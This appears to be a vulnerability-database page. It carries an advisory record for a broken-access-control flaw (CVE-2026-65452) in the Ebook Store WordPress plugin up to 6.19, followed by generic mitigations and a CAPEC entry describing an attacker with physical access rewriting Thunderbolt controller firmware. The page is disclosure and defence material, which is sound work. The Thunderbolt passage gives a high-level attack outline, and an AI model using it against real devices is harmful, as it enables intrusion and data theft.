Vulnerability from github – Published: 2026-07-23 12:32 – Updated: 2026-07-23 12:32Unauthenticated Broken Access Control in Ebook Store <= 6.19 versions.
{
"affected": [],
"aliases": [
"CVE-2026-65452"
],
"database_specific": {
"cwe_ids": [
"CWE-862"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-07-23T12:18:37Z",
"severity": "MODERATE"
},
"details": "Unauthenticated Broken Access Control in Ebook Store \u003c= 6.19 versions.",
"id": "GHSA-p23h-q3g8-95q2",
"modified": "2026-07-23T12:32:27Z",
"published": "2026-07-23T12:32:27Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-65452"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/wordpress/plugin/ebook-store/vulnerability/wordpress-ebook-store-plugin-6-19-broken-access-control-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
]
}
Mitigation
- Divide the product into anonymous, normal, privileged, and administrative areas. Reduce the attack surface by carefully mapping roles with data and functionality. Use role-based access control (RBAC) [REF-229] to enforce the roles at the appropriate boundaries.
- Note that this approach may not protect against horizontal authorization, i.e., it will not protect a user from attacking others with the same role.
Mitigation
Ensure that access control checks are performed related to the business logic. These checks may be different than the access control checks that are applied to more generic resources such as files, connections, processes, memory, and database records. For example, a database may restrict access for medical records to a specific database user, but each record might only be intended to be accessible to the patient and the patient's doctor [REF-7].
Mitigation MIT-4.4
Strategy: Libraries or Frameworks
- Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.
- For example, consider using authorization frameworks such as the JAAS Authorization Framework [REF-233] and the OWASP ESAPI Access Control feature [REF-45].
Mitigation
- For web applications, make sure that the access control mechanism is enforced correctly at the server side on every page. Users should not be able to access any unauthorized functionality or information by simply requesting direct access to that page.
- One way to do this is to ensure that all pages containing sensitive information are not cached, and that all such pages restrict access to requests that are accompanied by an active and authenticated session token associated with a user who has the required permissions to access that page.
Mitigation
Use the access control capabilities of your operating system and server environment and define your access control lists accordingly. Use a "default deny" policy when defining these ACLs.
CAPEC-665: Exploitation of Thunderbolt Protection Flaws
An adversary leverages a firmware weakness within the Thunderbolt protocol, on a computing device to manipulate Thunderbolt controller firmware in order to exploit vulnerabilities in the implementation of authorization and verification schemes within Thunderbolt protection mechanisms. Upon gaining physical access to a target device, the adversary conducts high-level firmware manipulation of the victim Thunderbolt controller SPI (Serial Peripheral Interface) flash, through the use of a SPI Programing device and an external Thunderbolt device, typically as the target device is booting up. If successful, this allows the adversary to modify memory, subvert authentication mechanisms, spoof identities and content, and extract data and memory from the target device. Currently 7 major vulnerabilities exist within Thunderbolt protocol with 9 attack vectors as noted in the Execution Flow.